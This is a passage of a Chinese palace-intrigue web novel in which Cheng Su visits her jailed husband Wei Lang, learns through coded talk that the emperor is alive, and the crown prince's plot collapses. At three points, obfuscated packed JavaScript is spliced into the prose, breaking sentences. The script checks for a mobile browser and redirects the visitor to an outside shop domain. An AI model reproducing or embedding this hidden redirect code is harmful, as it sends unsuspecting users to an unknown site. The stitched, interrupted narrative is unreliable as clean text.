想当初他们还在卫琅面前搬弄过是非,说人家不好。如今他下了狱,还是人家照顾了一家老小,帮忙四处奔走。 就算他是个纨绔,也还是知道一点礼义廉耻的。 他难得正经地行了一礼,自报了家门道:“程夫人,我是卫琅的朋友。” 其他几个纨绔也同样行礼问好。 双方简单寒暄了几句,另一边的战场已经收尾了。赵丙申等人直接被捆了起来,齐文羽等人还打算一会儿跟他好好交流交流,不打算在此多留。 临别前,程素温声道:“侯爷曾经跟我提起过您和另外几位好友,如今他身陷囹圄,能否请您和其他几位帮个忙。” 齐文羽刚要答应,忽而警惕道:“等等!你先说好是什么事!” 他意识到自己的反应有点激烈,连忙解释:“卫琅的事我们不是不清楚,但实在有心无力。我们这些人你也看到了,但凡在家里能说得上话,也不至于混成这样……” 卫琅刚出事时,他们就试探着跟家里打过,无一不被勒令不得沾染此事,于是也只能在旁边暗暗着急。 说到底这还是卫家自己的事,如果连定远侯府都没办法,别家也难插手。 然而程素的请求却很正常。 无非让他们帮忙在坊间散布一些话,跟这些日子传的没什么区别。 其实这几日她也有让人在坊间暗中散布一些消息,不过时间紧急,若是有人帮忙,能让消息传得更快自然更好。 齐文羽等人这才松了口气,义不容辞地答应了,双方就此道别。 程素登上马车,按计划前往下一个目的地,也就是此次主审卫琅案件的官员大理寺卿陈宽府上。 她父亲生前曾与对方同在刑部为官,她也因此对其有些了解。 这人以性格强硬耿直而出名,然而延庆年间皇子争斗,他上书触怒了先帝,早早就被贬至外地为官,反而因此避开了后来京中的血雨腥风。 直至隆兴帝即位,他才得以调回京城,又受清流举荐,得以重回中枢。 刚到了陈府上,门子一听她的身份来意,二话没说就要关门了。不过程素早已料到了这样的结果,命人调转马车。 她估算的时间刚好,还没出巷子,迎面就驶了一辆马车。 巷子本就狭窄,再有侯府的马车一挡,路就被堵了大半。对面的马车意识到她们是有意为之,很快传来声音:“你是何人,竟敢拦在此处?” 程素连忙下车,道明身份。 一听是定远侯府的人,先前那个声音便不说话了,另一个更沉缓有力的声音开口道:“回去禀明你家老夫人,此案事涉先帝之死,干系重大,莫说是侯府,就算是王爷皇子,也要按律勘问。” 程素非但没退,反而上前一步:“我父亲程恪言,当年曾与大人同在刑部为官。晚辈向来听闻大人清廉正直,岂敢求大人徇私。此番冒昧前来,只求您能允许我们再去探望卫琅最后一面,让他得知家中近况,早早伏法认罪,也好得他只言片语,宽慰卧病在床的祖母。” 车中人沉默了一会儿,语气这才缓和了些:“当年程大人为民谏言,我自是佩服。可惜他英年早逝,未亲眼得见自己沉冤昭雪那一日。你既是程大人之女,就更应当知道要避嫌。” 程素抬起双眼,声音却清晰而坚定:“晚辈此番前来,实是情势所逼,别无他法。卫家两代人为国尽忠、父子兄弟相继战死沙场,卫大将军迄今仍在边关抗击突厥,家中弟妹年幼,祖母年迈,听闻此事后已卧病不起,只有我一个眼盲之人为之奔走,还望大人施以援手。此后无论福祸,由我一人承担。” 陈宽的声音再度变得冷肃:“我已说过,此事绝无转圜的余地。” “你当真以为这仅仅只是一桩案子吗?此事三司会审,多少双眼睛都在盯着这里。卫家至今只罪及卫琅一人,未曾株连,已是看在侯府昔日的情面上。若你们执意袒护,落在有心人眼里便是串通翻案、结党营私,后果只怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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程素原以为自己会紧张惶恐,可真到了这一刻,她才发现自己心里没有预想的慌乱,只有一片湖水般的平静。 她甚至忽然想起了很久远的曾经。 父亲是端方君子,母亲温婉大方,两人感情甚深。在他们的耳濡目染之下,程素曾以为自己的人生也会如此—— 熟读诗书,精习女红,经由一门被父母安排妥当的婚事,嫁给门当户对的君子,此后举案齐眉一生。 然而人生总是充满意外和变数,卫琅就是那其中之一。 他少年心性、性情跳脱,无论家世、性情,还是人生经历,都和她未出阁时想象过的良人毫无相同之处。 与侯府的婚事本是一场温情脉脉的交换,老夫人赏识她,卫若亲近她,她心里感激,也真心想对她们好。 她以为自己对卫琅也是如此。 就像这些天她为他的事奔走,从不觉得劳累,也不惧人非议,只因那本就是她应该做的。无论是作为结发妻子应尽的责任,还是要回报侯府待她的恩情。 可是卫琅……他不一样。 她看不见他的神情,却能感受到他待她那种小心翼翼的态度,就仿佛他曾经送她的那两只小细犬,只要偶尔被摸摸头认可了,就高兴得不得了。 可他本不必如此。 当年那桩往事,其实根本算不上什么恩情,就算他出于年少慕艾之心,他们已经是夫妻,也不必那般委曲求全。 卫琅出事的那晚,她一个人坐在帐子里想了很多很多。 她想起头回见面的当天傍晚,卫琅帮她解围,想起婚前他半夜翻墙入院,隔着窗子跟她说话;想起最后那晚,她在烟火下看到他的侧影……想了许多许多。 可她还是没想明白自己的心。 到底是出于感激他待她好,而生出的回报之心,还是在这些年漫无天日的黑暗中,偶然见到一点光亮生出的贪恋不舍。 她心里头一次生出了淡淡的迷惘。 人这一生,到底会因为什么而爱另一个人呢。 程素想不明白,也就不去想了,她跟着前头领路的人,一层一层迈下了台阶。 诏狱有大半建在地下,里面低矮阴暗,空气中弥漫着令人不适的霉味,还混杂着一股不易察觉的血腥气。 她被人带着来到了一处牢房前,刚停下了脚步,就听到锁链在地上哗啦拖拽的声音,有什么砰地重重撞上了牢门。 随即传来她熟悉的声音:“素素?!” 对方喜出望外的声音,很快转为又惊又痛:“你怎么来了?!” 27. 第二十七章 诏狱深处。 狱卒照例来到牢房前,却没有跟往常一样放饭,而是冲角落打了声招呼:“卫侯爷,稍后你家里有人要来看你了。” 黑的角落里里蜷缩着一道身影,闻言微微直起身体:“我家老夫人来了?” 那狱卒陪笑道:“这……听闻府上老夫人卧病在床,怕是不能亲自前来。” 卫琅的喉结动了一下。 是了,祖母年迈,他突然出事,她老人家必然心急如焚,因此病倒了。来的应该就是阿珏那个傻小子了吧。 也不知道她老人家病得怎么样了,都这种时候了,他不在长辈跟前侍疾,还跑到狱里看他来做什么。 卫琅自嘲地笑了笑,仰头一倒,后背抵着冰冷的墙面,又坐回了黑暗里。 自从那日乾元殿大火后,他便被关押进了这里。起初他还以为,怎么也要被各种大刑轮番伺候一遍,来个屈打成招。 但出乎他意料的是,他进到这里后没遭什么罪,而是被单独关在了这里。 每日有人定时来送饭,虽然有点馊了,但也勉强能吃,狱卒们对他也还算客气,这让卫琅暗暗地松了口气。 虽然他也能料到几分自己的下场,但能少受一点皮肉之苦也是好的。 唯一让他难捱的,是地底的牢房阴暗寒冷,一整天也见不到什么日光。 进了这鬼地方后,人对外界的感知也随之模糊。他已经记不清自己有多久没有见过太阳了,白天和黑夜没什么区别,连时间的流逝都变得混沌。 这些天他绞尽脑汁,想了各种办法,也想不出自己如何能从这里脱困,甚至连往外给家里传个口信都做不到。 卫琅的小半生还从来没有这样孤立无援过。 他出身尊贵,自幼受家人宠爱,平日有奴仆随从,出门有父辈的功绩傍身,就连隆兴帝都对他另眼相看。 然而如今,那些什么用都没有了。 他并不怕死,去年剿匪时,他也亲自上阵杀过敌。可他还是很想念祖母,想念弟弟妹妹们,也很想念…… 那个他始终心心念念的人。 卫琅闭上眼,任凭眼前的视线一片黑暗。这些天除了有人提审以外,他一直坐在角落的阴影里,感受着漫长的黑暗。 他抵着背后冰冷的墙壁,心道原来素素平时过的就是这样的日子吗? 如此地漆黑、寒冷,看不到一丝光亮,只能依靠声音和触觉,小心翼翼地感知着周围的一切。任何一点细小的声音,在黑暗里都会被无限放大。 再回想起曾经为了吸引她注意的那些举动,卫琅只觉自己幼稚又可笑。 眼下她在做什么呢,是也在为他担惊受怕,还是在心里埋怨他不争气。 是了,她一开始心里还是不愿意嫁给他的吧,只是迫于长辈的压力,也许他不在了,对她反而是一种解脱。 她其实一点也不愿意。 卫琅恹恹地想着,只要这么一想,他整个人连最后一点力气也没有了。 忽然,一阵杂沓的脚步声打破了牢房的寂静,似乎来了很多人,紧接着狱卒喊道:“卫侯爷,你家里人来看你了。” 卫琅懒得睁眼,这些天他被关在这鬼地方,光听脚步声都能听出不同了。 那些笨重的脚步声是狱卒的,刑部的官员也来了,还有……还有竹杖敲在地上的声音,朝廷又请了哪个老大人来了。 等等!不对! 几乎在分辨出来人的同时,卫琅瞬间跳了起来,整个人扑到门边,双手紧紧攥着栅栏:“素素,你怎么来了?!” 程素强忍着上前的冲动,直至狱卒打开了牢门,两人之间才再无阻拦。 一见了面,她甚至来不及说话,也顾不得有人在场,就扑进了卫琅怀里,双手摸索着他的脸庞和身上。 她很想知道卫琅身上有没有伤口,然而人近在咫尺,她眼前却只有一片模糊,除了依稀能辨别轮廓外,什么都看不清。 卫琅捉住她的双手,不停安抚道:“别害怕,他们没有对我用刑。” 话音刚落,程素不小心碰到了他的胳膊,就听他倒抽了一口凉气。 他讪讪地解释:“那真不是用刑受的伤,是我之前去救火时被燎的,没什么大碍的,也都用过药了……” 后半句的声音在他看到程素眉头蹙起的瞬间越来越小,几乎微不可闻。 程素深深吸了一口气,强迫自己冷静下来,她只有一柱香的时间,甚至身后还有人盯着她的一举一动。 她必须想办法,在不被其他人发觉的情况下,尽早从卫琅口中得知实情。 想到这里,她伸手将食盒推到他身前,轻声道:“这些天你受苦了,御寒的衣物和药我都让人准备了,还带了你爱吃的饭菜点心,你先垫垫肚子。” 卫琅这会儿哪还顾得上什么吃饭,他满脑子满眼都是程素,要不是他还记得自己这么多天没洗澡,身上早就馊了,恨不得整个人都贴在她身上。 听到她提醒,他才勉强把视线挪开。 他刚要说什么,眼角的余光这才注意到站在牢房外的绯袍官员们,整个人顿时如同被当头浇了一瓢冷水,从程素突然到来中猛然清醒过来。 原本欲揽住程素的手也僵在了半空中,不知不觉中慢慢垂落。 卫琅扯了扯嘴角,强迫自己扭头看向旁边的墙壁:“你来的正好,我让他们帮我取纸笔来,给你写一封休书。” 程素:“……” 卫琅强迫自己硬起心肠来,不去看她此时的神情自顾自道:“当初那桩婚事,本就是老夫人逼你的,我知道你不情愿。常言道强扭的瓜不甜,如今侯府被我连累,以后也不能拿你怎么样了,你也早早给自己另找出路吧。” 牢房里静寂了好一会儿,只有火把燃烧的声音,时间漫长得仿佛过去了很久,他才听到一声有些无奈的轻叹。 “没有。” 程素轻轻道:“我没有不愿意。” 卫琅气得心口微疼,暗自咬牙。 她总是这样,一副拿他没办法的态度。这是哄他的时候吗,这种时候还不赶紧跟他撇清关系,是还想被牵连吗。 牢房外的陈宽轻轻咳嗽一声,提醒道:“卫侯爷,程夫人为了能来探望你一面,可是四处找人求情。你们这次见面只有一炷香的时间,莫要浪费时间了。” 卫琅扭头冲他们怒目而视。 都是一群老不要脸的,人家夫妻俩说话都要偷听,还敢插嘴。 他知道程素的性子最是外柔内刚不过,就是她自己出了事,都未必肯低头求人,如今却为了他放下身段,没准还正是眼前这群人为难的她。 可他再恨,眼前也没办法冲出去咬人。他只得下定决心,正要撂下些狠话,把程素赶走,忽然感觉到被人从身后轻柔地拥住,顿时浑身一僵。 身后的那个人没有顾忌有人在场,也没有管他身上的脏污,就这么轻轻将头靠在了他的后背上,轻声道:“莫要再说那些话了,我和家里人都很担心你。这些日子你不在府里,上上下下都乱了套,老夫人病了,一直念叨着你,我实在没办法,好不容易才能来见你一面。” 卫琅方才强迫自己硬起来的心肠,一瞬间就溃不成军了。 他好不容易才找回自己的声音,涩声道:“……祖母她老人家还好吗?还有……其他人,府里还好吗?” 程素道:“大夫说她老人家是忧思过度,需静心调养,若若陪在她身边。” 她说完仿佛才想起什么,又补了一句:“……还有弟弟,他像是受了刺激,不是把自己关起来,就是找不见人。” 卫琅愣愣道:“阿珏……?” 他对卫珏什么性子还是了解的,那小子也许老实迂腐了些,可还没脆弱到家里出了事,他缩头躲起来的地步吧。 程素的称呼也有些怪怪的,他们平常称呼卫若卫珏,都喊他们的小名,叫弟弟妹妹什么的,反倒显得生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133573|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疏了。 他想不明白,程素仍靠在他的肩头,轻声道:“祖母病重,我和若若又是女子,府里的事就只能靠他。可是如今谁也见不到弟弟,我们也实在没办法……” 说话间,卫琅感觉到自己自己腰间的软肉被人轻掐了两下。 他的心跳一下就快了起来。 就算他是个真傻子,此时也知道她必然话里有话。偏偏卫琅此时脑子一团浆糊,怎么也想不通程素在暗示什么,嗓子干得发涩:“他能有什么事……” 卫珏……弟弟…… ……见不到人。 ……弟……帝…… 卫琅突然心领神会,一瞬间只觉头皮发麻,等彻底想通之后,几乎激动得想跳起来狠狠她亲一口。 然而一旁有人盯视,他只能强迫自己按捺住欣喜欲狂的心情,绞尽脑汁地想办法回话:“……我、我平时待他不薄,他怎么会这样。他以前被狗追,别人都在那看着,还是、还是我把他救下的……” 他磕磕绊绊地编完这一段话,只觉得自己说得颠三倒四,语无伦次,也不知道程素能不能听得明白。 程素却立即懂了,问:“……你是他兄长,可知能有什么法子能让他回心转意的。如今一家老小只有他一个男丁在,我们只盼着他能早日撑起门楣。” 卫琅满心苦涩,只道:“……不知道,我也不知道为什么。” 就连他自己,被困在这里与外界音讯隔绝,也想不明白为何会是如此局面。 程素又道:“我才进门不久,名义上虽是他的长嫂,却也管不了他,若是他身边能有什么人能劝劝他就好了。” 卫琅喉咙干涩道:“应该是有人能劝他……但现在……我也不知道……” 他只觉他们这一来一往的话仿佛在梦游,他还有好多好多话想告诉程素,然而她却不再问了,取过食盒让他吃饭。 卫琅实在食难下咽,屡屡想开口再跟程素说些什么,都被她巧妙地绕开,连外头旁听的人也不耐烦起来。 他们这次特意放了程素进来,为的就是能撬开卫琅的嘴。谁知道两人絮絮叨叨了半天,说的都是些家长里短。 “好了,一炷香的时间要到了。程夫人,人你也见到了,是时候回去了。” 牢房外的人终于出声催促起来。 下次再见面,还不知是什么时候。 直至此时,程素的心口才终于泛上来一些说不上来的慌乱和疼痛。 她这才发现,原来自己并没有自己以为的那样冷静。她所猜的都是对的吗?她真的能把卫琅救出来吗? 若是她错了,唯一能替她付出代价的,也只有眼前这个傻子了。 她从他的怀抱轻轻挣脱,双手捧起他的脸颊,手指一寸一寸抚过他的眉宇、鼻梁乃至下颌,轻柔摩挲着他的侧脸。 母亲曾说,他长了一张她会喜欢的脸,可直至此时,她也从未看清过,卫琅到底长什么模样。 明明离得这样近,她却只能隐约看到眼前人的轮廓,可无论她再怎么睁大眼,也没办法看得更清楚了。 太医先前说过,她的眼恢复得很好,再过一年半载,说不定就能恢复如常了。 可就差了那么一点。 他们就只有这些时间了。 卫琅也意识到,她正在描摹他的轮廓,仿佛要把他的模样刻在心里。 素素也意识到了,这也许可能是他们此生最后一次见面了吗? “你能来看我,我很高兴。”卫琅故作轻松的语气里还是带着一点哽咽。 他深深地望向程素近在咫尺的眼眸,她的眼瞳那样乌黑澄澈,仿佛天边的圆月,里面清晰地映出了他的影子。 “真好……” 卫琅喃喃道,若是她的眼里没有隐隐闪动的泪光,那就更好了。 程素只听耳畔那个熟悉的声音里含着笑意,仿佛得到了莫大的满足:“……素素,现在你的眼里终于有我了。” 28. 第二十八章 最终,卫琅趴在牢门上,目送着程素的身影一点点消失。 她一离开,牢房外剩下的就只有三司那些官员了。 为首的陈宽冷冷道:“卫侯爷,今日你的夫人亲自来探监,侯府一家老小都在为你的事担忧,到了如今,你还是没什么想说的吗?” 卫琅嗤笑一声,又恢复了他一惯那副混不吝的模样:“该说的我都说了,你们已经审了十几遍,再审几十遍也是一样。” 三司的官员们听了无不皱眉。 这小子刁钻滑头,偏偏命好托生在了定远侯府。这些日子以来,光明里暗里为他说情的、托人关照他的不在少数,让三司的人烦不胜烦。 更让人憋屈的是,凡是入了诏狱还不老实的,哪个不先给一顿杀威棒让他们尝尝厉害,偏偏就他打不得。 一说要动刑,他就嚷嚷着是背后有人要把他屈打成招。太子和二皇子的人鹬蚌相争,既想从他嘴里撬出点实情,又怕在这个节骨眼上被他反咬一口,还忌惮着卫家,只能把人好好关着。 但忍耐是有限度的,距离乾元殿大火已经过去了十日了,朝局至今未定。国不可一日无主,无论哪一方,都不能容忍局面再这样拖下去了。 一众官员互相交换了个眼色。 最终还是陈宽冷声道:“既然侯爷敬酒不吃,那想必是要吃罚酒了。来人,给定远侯松松筋骨。” …… 等程素一路匆忙赶回侯府,老夫人和卫珏他们早已等候多时了。 待屋里只有自家人后,她开门见山道:“陛下也许还活着。” “你说什么?!” 老夫人万万没想到,自己听到的头一句话竟是这个。 程素复述了一遍先前在狱中时和卫琅的对话,将自己的猜测说了出来:“……若我没猜错的话,那晚乾元殿大火,侯爷临时赶去把陛下救了出来。但也许是陛下当时受了伤,又或许是出于什么顾虑,才躲起来一直没有露面。” 她担心卫琅听不明白太复杂的隐语,只用了最简单的方式,假托卫珏之事,来打听隆兴帝的情况。 好在卫琅还是听明白了,他的回应也验证了程素的部分猜想。 正因隆兴帝迟迟不露面,才导致了卫琅明明是救驾功臣,却被真正别有用心之人倒打一耙,偏偏他也无法为自己辩解。 太子和二皇子为了夺位争斗不休,他自然也不可能在这个节骨眼上说出实情,一来有可能连累了不知身在何方的隆兴帝不说,二来那两方人知道了实情,只怕第一个要灭他的口。 老夫人思忖片刻,眼神终于慢慢坚定起来:“……也就是说,只要能找到陛下,阿琅也有救了。” 程素迟疑道:“……但这也只是我的猜想,万一陛下真的已经遭遇不测,眼下的局面还是难解。倘若我猜对了,陛下尚还在人世,只是暂时躲藏起来了,人也应当还在宫里,我们恐怕难以找到。” 老夫人微微一笑:“谁说人在宫里,我们就无法插手了。” 见程素微微惊讶,她才笑道:“不要多想,咱们家虽然多年来没人在朝堂上,可跟一些人家还是有些交情的。以眼下的局势,若只是把宫中搅成一潭浑水,借机找个人,还是有法子的。” 程素知道,余下的有些事就不是自己能插手的了。 她们唯一能做的,就是想尽办法,赌一次翻盘的机会。 就在卫家小心谋划之时,京城里的局势却一日紧张过一日。 此时,距离隆兴帝驾崩已过去了十日,朝堂上的争论却迟迟没有结果。 太子虽占了储君名分,可皇后、二皇子的势力更胜一筹,双方互不相让,无论是宫里,还是朝堂上的气氛都仿佛绷紧了的弓弦,随时都会挣断。 在这个节骨眼上,羽林卫指挥使、威远侯等人忽然以不久前的大火为由,向太子提议,加强宫中巡查。 羽林卫向来是天子亲军,和金吾卫同属于拱卫宫廷的主要力量。包括威远侯之子齐文宾,也在禁军当差。 他们突然齐齐提议,几乎与公开倒向太子无异,一时闹得满朝哗然。 朝堂上的局势之所以能胶着如此之久,正是因为太子这边势单力薄,虽有储君的名分,却抵不过皇后及大臣们的反对,再加上他怎么也解释不清 太子顿时大喜过望,不顾皇后和二皇子的反对,当即同意了这个请求。 这突如其来的变故,加剧了朝堂上的暗流涌动,就连宫里的气氛也越发不对。 所有人都预感到,有大事要发生了。 然而,无论众人如何忧心忡忡,朝堂的局势已逐渐滑向无可挽回的地步,只能眼睁睁地看着事态发展下去。 …… 是夜。 三更时分,一名守夜的宫人正昏昏欲睡着,忽然听到外面传来异响。 他跟同房的人打了声招呼,便趿拉着鞋子打算出去看看。眼下正是多事之秋,不久之前宫里刚刚走水过,若是再出了什么岔子,他也好早早提醒其他人。 他这样想着,刚探出个头去,黑暗中一支羽箭破空而来,瞬间被射翻在地。 倒下前,他惊恐的双眼看到了远处隐隐的火光和披着甲胄的兵士经过。 ……出大乱子了。 这是他最后的念头。 隆兴四年正月二十八日晚,皇后、二皇子勾结羽林右卫、京师骁骑营等势力发动叛乱,意图擒住太子,争夺皇位。 昔日森严的宫城里已一片混乱,喊杀声一片,很快就惊动了还没睡着的太子。 这些日子以来,他几乎从未有过一日安眠,梦里不是化作焦骨的隆兴帝质问他,就是二皇子率军踏破东宫。 当确认事情真的发生这一刻,太子反而有种尘埃落定之感。 无论是成是败,就看今晚了。 若是这事放在几天前,他也许还会惶惶不可终日。可如今他手里也有了兵马,多少也有了些底气。 可要说一点儿也不担心,那也是不可能的。他坐立难安,来回在殿中踱步,没一会儿就催太监去打探消息。 也不知过了多久,外面的喊杀声似乎终于停止了,禁军副统领齐文宾突然从外头匆匆来报:“回禀殿下,叛军已束手就擒,皇后、二皇子和永宁公主已经被抓到了,您看应该如何处置。” 太子这才长长地吐出胸中一口浊气:“不急,孤这就去见见他们。” 在众人簇拥下,他来到了坤宁宫。 一进了殿内,只见素来跟他针锋相对的二皇子被捆得严严实实,如同砧板上的鱼肉,再怎么拼命挣扎也无济于事。 皇后和永宁公主也狼狈跌坐在地上,满眼愤恨地望向他。 直至此刻,太子才心头大定。 他居高临下地望着他们,脸上带着嘲弄的笑意:“二弟,自古成王败寇,你已经输了。看在昔日兄弟的份上,你若诚心悔改,孤可以考虑放你们一条生路。” 二皇子啐了一口:“少惺惺作态,若不是你早出生几年,父皇又迂腐,皇位早就是我的了,也轮得到你来教我!” 太子沉下脸来:“孤念及手足之情,可你竟不知悔改,忤逆犯上,按罪当诛!” “殿下说得好!” 一个熟悉的声音自背后响起。 太子皱眉,正要喝斥是谁那么不知礼数,竟敢在此喧哗。 回头一看,竟然是一个他完全意想不到的人。本该在诏狱中的卫琅鼓着掌,从角落里的阴影中走了出来。 一见了他,太子只觉浑身的血液瞬间涌向头顶:“你、你……你不是应该在诏狱里吗,为何会突然出现在这里?” 卫琅一笑,露出满口森森白牙:“微臣自然是奉命而来。” 奉命,他奉的是谁的命? 太子只觉脑海中嗡然一声,眼睁睁看着卫琅侧身退至一旁,帷幕后逐渐走出一个熟悉的明黄身影。 他惊骇欲绝地睁大双眼,数日不见的隆兴帝赫然出现,眼神阴冷又居高临下地望着他,怨毒地吐出两个字。 “逆子。” 太子腿一软,拿着剑的手再也握不稳了,“哐当”一声掉在了地上。 他怎么也想不到,隆兴帝居然还活着。但是、但是这怎么可能呢…… 上元夜那晚宫里走水,他发现起火后就匆匆赶往乾元殿,本是为了能在父皇面前露个脸,好让父皇知道他的一片孝心。 可谁能料到,等他匆匆赶去时,乾元殿已经沦为一片火海。 当他看到隆兴帝贴身伺候的大太监高满一脸的如丧考妣,那一瞬间,他心里涌上的除了惶恐、悲伤、茫然外,更多的还是一种压抑不住的…… 狂喜。 父皇还在时,他不得不表面上做出一副兄友弟恭的好长兄模样,继续忍耐皇后、二皇子这些人;若是没有这场大火,他忍耐的过程甚至要漫长到十几年,还要提防其他年幼的皇子们。 可隆兴帝一死—— 他就是板上钉钉的新皇了! 他是储君,这天底下没有比他更名正言顺的人了! 极度的兴奋和隐秘的恐惧让太子一度处于混乱的边缘,他无心救火,跌跌撞撞地走出了乾元殿,却碰上了卫琅。 卫琅自己找死,偏要去救火。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138001|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他那时还处于六神无主的状态,只想着之后该怎么解决皇后和二皇子,应付朝堂上的众位大臣,没把卫琅当回事。 等听说皇后和二皇子都快赶到乾元殿时,他才慌了起来,又听说卫琅不仅组织了大量人手救火,还深入殿内救驾,太子更是心如擂鼓,只想大骂。 他这才想起命人去阻拦卫琅,不幸中的万幸,卫琅并没有救下人。 他们的人只从火场里拖出了几具焦尸,其中一具身上裹着残破的龙袍和金镶玉腰带,太子这才松了口气。 当他望着刚从火场里出来灰头土脸的卫琅时,忽然恶从心头生—— 父皇昔日不是喜欢把卫琅当成自家子侄一样宠吗,既然如此,那就让他给父皇陪葬好了。 若不是边关告急,若不是还顾忌几分卫家,卫琅早该死在诏狱里了。 然而谁能料到,本应该已经驾崩了的隆兴帝竟然活生生地出现在了他的眼前。 太子浑身发抖,吓得膝盖一软,跪在地上颤声道:“父皇,您还活着真是太好了,儿臣……” 隆兴帝对他心里的那些小算盘早已一清二楚,一句话也不想听他多说,冷冷道:“来人,把他给我拖下去。” 早已等候多时的禁军们一拥而上,把他结结实实地捆起来堵住嘴拖走。 就连地上的二皇子和皇后等人看到隆兴帝走出来后,也是惊骇欲绝。 眼看太子被拖下去了,二皇子浑身一僵,连忙呼喊:“父皇、父皇,儿臣都是被太子逼迫的啊……” “陛下,臣妾冤枉。” 不等他们哭天喊地地为自己申辩,隆兴帝冰冷又厌恶道:“都拖下去。” 披着甲胄的兵士们毫不留情地堵住了他们的嘴,同样也把他们拖走了。 旁观的卫琅心里清楚,这次跟随二皇子谋逆的宫人、禁军等也同样难逃一死。 甚至这一切还只是个开始。 朝堂上的天,也要变了。 他怀着有些沉重的心情,刚一走出殿内,迎面就撞上了禁军副统领齐文宾。 对方冲他拱了拱手,客气道:“恭喜侯爷,经历了这一遭,以后在陛下面前,只怕还要请您多多关照。” 他本是威远侯之子,也就是跟齐文羽一母同胞的亲兄长。两家素有交情,只是像齐文宾这样被重点栽培的年轻俊彦,跟他们这帮纨绔注定不是一路人。 两人从前不过是点头之交,因着此次宫变才算正经打了一回交道。 在齐文宾看来,卫琅以前也是皇帝跟前的红人,不过顶多算隆兴帝宠爱的小辈。但经此一遭,有救驾的功劳在身,卫琅的前途定然不可估量。 卫琅还以一礼,客气道:“哪里的话,我此前身陷狱中,此次营救陛下,全赖你们出力,往后还要互相关照才是。” 当日他冒险深入火场后,刚在里面找到已昏迷不醒的隆兴帝,本应该留在外面指挥太监们救火的木通也闯了进来,告知他发现外面情况有些不对。 太子的人似乎不打算救火,不仅一直观望,还意图把乾元殿围起来。 卫琅那时就反应过来了,当即心生一计,摘下隆兴帝身上的腰带玉佩,跟火场里的一具太监尸体互换。 巧在大太监高满知道乾元殿附近有一处密道,卫琅便让木通陪着他们先躲避起来,以防隆兴帝昏迷中有个万一,自己则带着其他几个亲信掩护他们离开。 然而他万万没有料到,自己卖力救火,反而被做贼心虚的太子倒打一耙,直接扔进了诏狱里,更没有想到隆兴帝因为吸入太多烟灰,起初几日昏迷不醒。 等他再醒来时,宫里分别被太子和二皇子的人把持着。高满他们不敢轻举妄动,只得躲在暗处等待时机。 不幸中的万幸,是素素来了诏狱。 在局势错综复杂、内外消息隔绝的情况下,她不仅猜中了问题的关键,连各方的局势都把握得分毫不差,这才让被关在诏狱中的卫琅得以把消息传了出去。 在老夫人和齐家等人的谋划下,众人总算找到了隆兴帝的藏身之处。 据说找到高满等人时,隆兴帝还在病中,若是再等下去,别说救驾了,任是神仙来了也难解这危局。 想到这里,他回家的心又急切了几分,也不知素素她们怎么样了。 他从狱中脱身还没来得及往家中传消息,若不是要留在宫里护卫隆兴帝,他这会儿早就回侯府了。 卫琅还沉浸在思绪中,一个小太监跑来恭敬道:“侯爷,陛下请您过去一趟。” 他这才回过神来,跟齐文宾等人告别,跟着小太监又往殿中走去。 29. 第二十九章 隆兴四年正月二十八日深夜,皇后、二皇子等人在宫中发动叛乱。 不出两个时辰,叛乱平息。 传闻中早已驾崩的隆兴帝突然现身,直指乾元殿大火那晚,太子心怀不轨,意图弑君谋逆,赐其鸩酒自尽。 皇后、二皇子等人因结党营私、谋上作乱,赐白绫,其余皇后家中亲眷及族人该抄斩的抄斩,该流放的流放。 唯一称得上幸免于难的,只有永平公主了,她对废太子在上元夜那晚的作为并不知情,再加上不久前婚事已定,并未直接参与这些动乱,侥幸未被株连。 但就看跟她一母同胞的废太子的所作所为,她此生也注定失去圣眷了。 除此之外,凡是牵涉到此次宫变中的宫人、禁军乃至大臣,也无一幸免。 大难归来后的隆兴帝以前所未有的强硬姿态,对朝堂进行了大清洗。 无论是太子一党,还是二皇子一党的人,都被连夜抄家下狱。 数日之前,这些人家都还做着投机下注、日后飞黄腾达的美梦,一转眼局势翻覆,却只能沦落到家破人亡的地步。 在一片混乱动荡中,数日未归的卫琅终于风尘仆仆地回到了侯府。 他一回来便跪倒在老夫人跟前,声音嘶哑:“……孙儿不孝,这些日子让您担心了。” 老夫人眼眶微红,连忙跟其他人一并扶起他来:“好不容易回来了,咱们一家人还讲究那些虚礼做什么。” 她望着眼前的少年,不过数日,他已经褪去了昔日的桀骜飞扬,整个人瘦了一大圈,下巴上泛着淡青的胡茬,虽然看着憔悴,却比从前稳重多了。 一家人这些日子担心坏了,忙拉着他嘘寒问暖,就连一向少言的卫珏卫若,也拉着兄长七嘴八舌问个不停。 老夫人最先收拾好心情,拉开卫若他们,嗔道:“好了,只顾着我们说话,倒把这些日子你最该挂念的人忘了。” 卫琅望向静静站在一旁的程素,从进屋的那一刻起,他就强忍着没去看她,却始终无法忽视她的存在。 如今他终于能光明正大地抬眼看向她,这一看,就再也挪不开目光了。 从前在程素面前,他说起话来滔滔不绝,如今心里翻涌着千言万语,却怎么也说不出来,最后只涩然道:“你瘦了。” 短短数日未见,程素原本就纤细的身量变得越发清瘦,可想而知,她这些日子默默承受的压力有多大。 